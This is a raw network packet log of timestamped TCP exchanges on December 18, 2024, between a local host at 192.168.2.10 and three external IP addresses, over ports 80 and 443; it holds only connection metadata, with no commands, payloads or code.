Dec 18, 2024 15:56:32.336302996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.336431026 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.336575985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.336976051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.337076902 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.337081909 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.337682962 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.337749958 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.337817907 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.338495970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.338534117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.338584900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.339225054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.339329004 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.339436054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.339782953 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.339853048 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.339854956 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.340526104 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.340588093 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.340626001 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.341217995 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.341278076 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.341320038 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.341921091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.341973066 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.341978073 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.342657089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.342721939 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.342801094 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.343357086 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.343430996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.343477011 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.344088078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.344132900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.344300985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.344775915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.344840050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.344893932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.345527887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.345575094 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.345606089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.346219063 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.346276045 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.346468925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.346920967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.346962929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.346968889 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.347634077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.347698927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.347740889 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.371942997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.372051001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.372124910 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.376096010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.376291037 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.377698898 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.377759933 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.377794027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.377837896 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.386009932 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.386065960 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.386116982 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.386172056 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.394480944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.394567966 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.394581079 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.394685030 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.402918100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.402937889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.402983904 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.403007984 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.411350012 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.411433935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.411463976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.411562920 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.420712948 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.420800924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.420885086 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.420938969 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.428308964 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.428359032 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.428376913 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.428405046 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.436579943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.436630964 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.436685085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.436709881 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.445959091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.446124077 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.446141958 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.446198940 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.452639103 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.452888012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.491854906 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.492016077 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.513303041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.513319969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.513396978 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.513500929 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.513634920 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.513727903 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.514229059 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.514415026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.514847994 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.514977932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.515037060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.515664101 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.515718937 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.515770912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.515978098 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.516350985 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.516505003 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.516570091 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.517121077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.517220020 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.517297983 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.517782927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.517844915 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.517952919 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.518515110 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.518578053 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.518737078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.519211054 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.519345045 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.519403934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.519958973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.520044088 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.520116091 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.520637035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.520742893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.520788908 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.521287918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.521409035 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.521462917 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.522037983 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.522110939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.522191048 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.522818089 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.522952080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.523511887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.523555994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.523612022 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.524194002 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.524394989 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.524444103 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.524864912 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.524950981 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.525037050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.525580883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.525693893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.525758982 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.526278019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.526422024 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.526472092 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.526987076 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.527132034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.527214050 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.527730942 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.527870893 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.527951002 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.528450012 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.528613091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.528698921 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.529150963 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.529274940 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.529355049 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.529906034 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.529967070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.530046940 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.530625105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.530659914 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.530750036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.531332970 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.531481028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.531538963 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.531975031 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.532104969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.532160044 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.532687902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.532816887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.533397913 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.533422947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.533474922 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.534118891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.534162998 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.534275055 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.534859896 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.534894943 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.534943104 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.535520077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.535537958 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.535598040 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.536256075 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.536325932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.536389112 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.536937952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.537041903 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.537085056 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.537659883 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.537764072 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.537822008 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.538391113 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.538526058 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.538605928 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.539089918 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.539189100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.539232016 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.539786100 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.539902925 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.539983988 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.540465117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.540597916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.540638924 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.541182041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.541306973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.541368008 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.541908026 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.542033911 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.542088985 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.542599916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.542704105 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.542768955 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.543346882 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.543447971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.543566942 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.544047117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.544158936 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.544461966 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.545022964 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.545033932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.545080900 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.545452118 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.545631886 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.545748949 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.546196938 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.546484947 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.546544075 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.546909094 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.546956062 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.547147036 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.547624111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.547646046 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.547816992 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.548379898 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.548424006 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.548482895 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.548995972 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.549060106 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.549180031 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.549814939 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.549884081 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.549985886 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.550419092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:32.554167032 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:32.563939095 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.564034939 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.564042091 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.564110994 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.566313028 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.566404104 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.566421986 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.566485882 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.571137905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.571275949 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.572829962 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.572885990 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.573347092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.578620911 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.578759909 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.578784943 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.578922033 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.582376957 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.582442999 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.582494020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.582598925 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.587234020 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.587357998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.587470055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.591926098 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.591967106 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.592003107 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.592037916 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.596716881 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.596782923 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.596890926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.596946955 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.601653099 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.601735115 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.601773977 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.601846933 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.606334925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.606414080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.606456995 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.610388041 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.610426903 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.610459089 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.610485077 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.610517025 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.610517979 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.610553026 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.610570908 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.610831022 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.610843897 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.611071110 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.611128092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.611188889 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.611324072 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.615901947 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.615972042 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.616034985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.620714903 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.620803118 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.620910883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.622087955 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.622144938 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.622170925 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.625505924 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.625530005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.625587940 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.629435062 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.629487038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.629550934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.630604029 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.630708933 CET	49805	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:32.630736113 CET	443	49805	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:32.633393049 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.633471966 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.633533955 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.637420893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.637491941 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.637581110 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.641366005 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.641447067 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.641510010 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.645343065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.645483971 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.645581007 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:32.649353027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:32.649427891 CET	49806	80	192.168.2.10	185.215.113.16
